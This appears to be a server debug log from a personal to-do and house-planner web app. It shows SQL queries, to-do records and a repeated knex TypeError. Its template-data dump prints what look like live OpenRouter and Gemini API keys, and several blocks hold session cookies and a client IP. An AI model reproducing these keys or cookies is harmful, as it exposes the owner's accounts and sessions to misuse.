    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:33:15.585Z server-connect:router Serving serverConnect /api/todo/list_active
2026-06-29T05:33:15.586Z server-connect:router Serving serverConnect /api/todo/list_someday
2026-06-29T05:33:15.586Z server-connect:app Executing action step identify
2026-06-29T05:33:15.587Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:15.587Z server-connect:output identity: 1
2026-06-29T05:33:15.587Z server-connect:app Executing action step restrict
2026-06-29T05:33:15.587Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:15.588Z server-connect:app Executing action step identify
2026-06-29T05:33:15.588Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:15.588Z server-connect:output identity: 1
2026-06-29T05:33:15.588Z server-connect:app Executing action step restrict
2026-06-29T05:33:15.588Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:15.589Z server-connect:output restrict: undefined
2026-06-29T05:33:15.590Z server-connect:app Executing action step select
2026-06-29T05:33:15.590Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `todos`.*, `tr`.`repeat_type`, `tr`.`next_due_date`, `tf`.`required_amount`, `tf`.`saved_amount` from `todos` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `todos`.`id` left join `todo_financial` as `tf` on `tf`.`todo_id` = `todos`.`id` where `todos`.`section` = ? order by `todos`.`id` ASC',
    params: [],
    orders: [ [Object] ]
  }
}
2026-06-29T05:33:15.593Z server-connect:output restrict: undefined
2026-06-29T05:33:15.593Z server-connect:app Executing action step select
2026-06-29T05:33:15.593Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: "select * from `todos` where `todos`.`section` = 'someday' order by `todos`.`created_at` DESC",
    params: [],
    orders: [ [Object] ]
  }
}
2026-06-29T05:33:15.597Z server-connect:output querySomeday: [
  {
    id: 8,
    title: 'Learn Blender',
    description: '3D modeling & animation. Useful for game dev and YouTube content.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 9,
    title: 'Start new YouTube series',
    description: 'Dev vlog or tutorial channel about budgeting apps. Good side project.',
    category: 'Personal',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  },
  {
    id: 10,
    title: 'Upgrade home office setup',
    description: 'Better monitor arm, LED strip, and a sit-stand desk. Eventually.',
    category: 'Finance',
    priority: 'Low',
    section: 'someday',
    due_date: null,
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z'
  }
]
2026-06-29T05:33:15.600Z server-connect:output queryActive: [
  {
    id: 1,
    title: 'Prepare Q3 Marketing Presentation',
    description: 'Include new feature launch metrics and budget allocation proposal.',
    category: 'Work',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 2,
    title: 'Renew car insurance',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '2026-10-14T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 3,
    title: 'Gym Workout',
    description: null,
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Daily',
    next_due_date: '2026-03-06T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 4,
    title: 'Pay Credit Card Bill',
    description: 'Pay before the due date to avoid late fees and credit score impact.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Monthly',
    next_due_date: '2026-03-09T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 5,
    title: 'Weekly Grocery Shopping',
    description: null,
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: null,
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: 'Weekly',
    next_due_date: '2026-03-07T18:30:00.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 6,
    title: 'Save for new iPhone 15',
    description: 'Need to replace my old phone. Selling old one will add to this.',
    category: 'Finance',
    priority: 'Medium',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '80000.00',
    saved_amount: '45000.00'
  },
  {
    id: 7,
    title: 'Buy gaming mouse and keyboard',
    description: 'Razer DeathAdder & Keychron K2.',
    category: 'Finance',
    priority: 'High',
    section: 'active',
    due_date: null,
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:12:55.000Z',
    updated_at: '2026-03-06T12:12:55.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '10000.00',
    saved_amount: '10000.00'
  },
  {
    id: 13,
    title: 'Search Macbook Box',
    description: '',
    category: 'Personal',
    priority: 'High',
    section: 'active',
    due_date: '2026-03-05T18:30:00.000Z',
    is_financial: 0,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:56:37.000Z',
    updated_at: '2026-03-06T12:56:37.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: null,
    saved_amount: null
  },
  {
    id: 14,
    title: 'Go to Gym',
    description: '',
    category: 'Personal',
    priority: 'Low',
    section: 'active',
    due_date: '1899-11-29T18:38:50.000Z',
    is_financial: 0,
    is_recurring: 1,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:57:54.000Z',
    updated_at: '2026-03-06T12:57:54.000Z',
    repeat_type: 'Daily',
    next_due_date: '1899-11-29T18:38:50.000Z',
    required_amount: null,
    saved_amount: null
  },
  {
    id: 15,
    title: 'Buy 16GB RAM x 2',
    description: '',
    category: 'Personal',
    priority: 'Medium',
    section: 'active',
    due_date: '2026-03-06T18:30:00.000Z',
    is_financial: 1,
    is_recurring: 0,
    is_completed: 0,
    completed_at: null,
    created_at: '2026-03-06T12:59:08.000Z',
    updated_at: '2026-03-06T12:59:08.000Z',
    repeat_type: null,
    next_due_date: null,
    required_amount: '35000.00',
    saved_amount: '30000.00'
  }
]
2026-06-29T05:33:18.146Z server-connect:router Serving serverConnect /api/todo/mark_complete
2026-06-29T05:33:18.146Z server-connect:app Executing action step identify
2026-06-29T05:33:18.146Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:18.147Z server-connect:output identity: 1
2026-06-29T05:33:18.147Z server-connect:app Executing action step restrict
2026-06-29T05:33:18.147Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:18.147Z server-connect:output restrict: undefined
2026-06-29T05:33:18.147Z server-connect:app Executing action step single
2026-06-29T05:33:18.147Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object] ],
    table: { name: 'todos', alias: 't' },
    primary: 'id',
    joins: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `t`.`title`, `t`.`description`, `t`.`category`, `t`.`priority`, `t`.`is_financial`, `t`.`is_recurring`, `tr`.`repeat_type`, `tr`.`custom_every`, `tr`.`custom_unit`, `tr`.`end_date`, `tr`.`never_ends`, `tr`.`next_due_date` from `todos` as `t` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `t`.`id` where `t`.`id` = ?'
  }
}
2026-06-29T05:33:18.149Z server-connect:output Error at q_todo: TypeError: The operator "undefined" is not permitted
    at operator (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/formatter/wrappingFormatter.js:132:11)
    at QueryCompiler_MySQL.onBasic (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:913:7)
    at QueryCompiler_MySQL.join (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:456:40)
    at /home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:135:40
    at Array.forEach (<anonymous>)
    at QueryCompiler_MySQL.select (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:134:16)
    at QueryCompiler_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:75:29)
    at QueryBuilder_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querybuilder.js:84:44)
    at ensureConnectionCallback (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/internal/ensure-connection-callback.js:4:30)
    at Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:318:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2026-06-29T05:33:18.150Z server-connect:server Got error? TypeError: The operator "undefined" is not permitted
    at operator (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/formatter/wrappingFormatter.js:132:11)
    at QueryCompiler_MySQL.onBasic (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:913:7)
    at QueryCompiler_MySQL.join (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:456:40)
    at /home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:135:40
    at Array.forEach (<anonymous>)
    at QueryCompiler_MySQL.select (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:134:16)
    at QueryCompiler_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:75:29)
    at QueryBuilder_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querybuilder.js:84:44)
    at ensureConnectionCallback (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/internal/ensure-connection-callback.js:4:30)
    at Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:318:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2026-06-29T05:33:19.395Z server-connect:router Serving serverConnect /api/todo/mark_complete
2026-06-29T05:33:19.396Z server-connect:app Executing action step identify
2026-06-29T05:33:19.396Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:19.396Z server-connect:output identity: 1
2026-06-29T05:33:19.396Z server-connect:app Executing action step restrict
2026-06-29T05:33:19.396Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:19.397Z server-connect:output restrict: undefined
2026-06-29T05:33:19.397Z server-connect:app Executing action step single
2026-06-29T05:33:19.397Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object] ],
    table: { name: 'todos', alias: 't' },
    primary: 'id',
    joins: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `t`.`title`, `t`.`description`, `t`.`category`, `t`.`priority`, `t`.`is_financial`, `t`.`is_recurring`, `tr`.`repeat_type`, `tr`.`custom_every`, `tr`.`custom_unit`, `tr`.`end_date`, `tr`.`never_ends`, `tr`.`next_due_date` from `todos` as `t` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `t`.`id` where `t`.`id` = ?'
  }
}
2026-06-29T05:33:19.398Z server-connect:output Error at q_todo: TypeError: The operator "undefined" is not permitted
    at operator (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/formatter/wrappingFormatter.js:132:11)
    at QueryCompiler_MySQL.onBasic (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:913:7)
    at QueryCompiler_MySQL.join (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:456:40)
    at /home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:135:40
    at Array.forEach (<anonymous>)
    at QueryCompiler_MySQL.select (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:134:16)
    at QueryCompiler_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:75:29)
    at QueryBuilder_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querybuilder.js:84:44)
    at ensureConnectionCallback (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/internal/ensure-connection-callback.js:4:30)
    at Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:318:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2026-06-29T05:33:19.398Z server-connect:server Got error? TypeError: The operator "undefined" is not permitted
    at operator (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/formatter/wrappingFormatter.js:132:11)
    at QueryCompiler_MySQL.onBasic (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:913:7)
    at QueryCompiler_MySQL.join (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:456:40)
    at /home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:135:40
    at Array.forEach (<anonymous>)
    at QueryCompiler_MySQL.select (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:134:16)
    at QueryCompiler_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:75:29)
    at QueryBuilder_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querybuilder.js:84:44)
    at ensureConnectionCallback (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/internal/ensure-connection-callback.js:4:30)
    at Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:318:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2026-06-29T05:33:28.795Z server-connect:router Serving serverConnect /api/todo/mark_complete
2026-06-29T05:33:28.796Z server-connect:app Executing action step identify
2026-06-29T05:33:28.796Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:28.796Z server-connect:output identity: 1
2026-06-29T05:33:28.796Z server-connect:app Executing action step restrict
2026-06-29T05:33:28.797Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:28.797Z server-connect:output restrict: undefined
2026-06-29T05:33:28.797Z server-connect:app Executing action step single
2026-06-29T05:33:28.798Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object] ],
    table: { name: 'todos', alias: 't' },
    primary: 'id',
    joins: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `t`.`title`, `t`.`description`, `t`.`category`, `t`.`priority`, `t`.`is_financial`, `t`.`is_recurring`, `tr`.`repeat_type`, `tr`.`custom_every`, `tr`.`custom_unit`, `tr`.`end_date`, `tr`.`never_ends`, `tr`.`next_due_date` from `todos` as `t` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `t`.`id` where `t`.`id` = ?'
  }
}
2026-06-29T05:33:28.799Z server-connect:output Error at q_todo: TypeError: The operator "undefined" is not permitted
    at operator (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/formatter/wrappingFormatter.js:132:11)
    at QueryCompiler_MySQL.onBasic (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:913:7)
    at QueryCompiler_MySQL.join (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:456:40)
    at /home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:135:40
    at Array.forEach (<anonymous>)
    at QueryCompiler_MySQL.select (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:134:16)
    at QueryCompiler_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:75:29)
    at QueryBuilder_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querybuilder.js:84:44)
    at ensureConnectionCallback (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/internal/ensure-connection-callback.js:4:30)
    at Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:318:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2026-06-29T05:33:28.799Z server-connect:server Got error? TypeError: The operator "undefined" is not permitted
    at operator (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/formatter/wrappingFormatter.js:132:11)
    at QueryCompiler_MySQL.onBasic (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:913:7)
    at QueryCompiler_MySQL.join (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:456:40)
    at /home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:135:40
    at Array.forEach (<anonymous>)
    at QueryCompiler_MySQL.select (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:134:16)
    at QueryCompiler_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querycompiler.js:75:29)
    at QueryBuilder_MySQL.toSQL (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/query/querybuilder.js:84:44)
    at ensureConnectionCallback (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/internal/ensure-connection-callback.js:4:30)
    at Runner.ensureConnection (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:318:20)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async Runner.run (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/knex/lib/execution/runner.js:30:19)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2026-06-29T05:33:29.847Z server-connect:router Serving templateView /house-planner
2026-06-29T05:33:29.847Z server-connect:app Executing action step identify
2026-06-29T05:33:29.847Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:29.847Z server-connect:output identity: 1
2026-06-29T05:33:29.847Z server-connect:app Executing action step restrict
2026-06-29T05:33:29.848Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:33:29.848Z server-connect:output restrict: undefined
2026-06-29T05:33:29.848Z server-connect:router Render template house-planner
2026-06-29T05:33:29.849Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
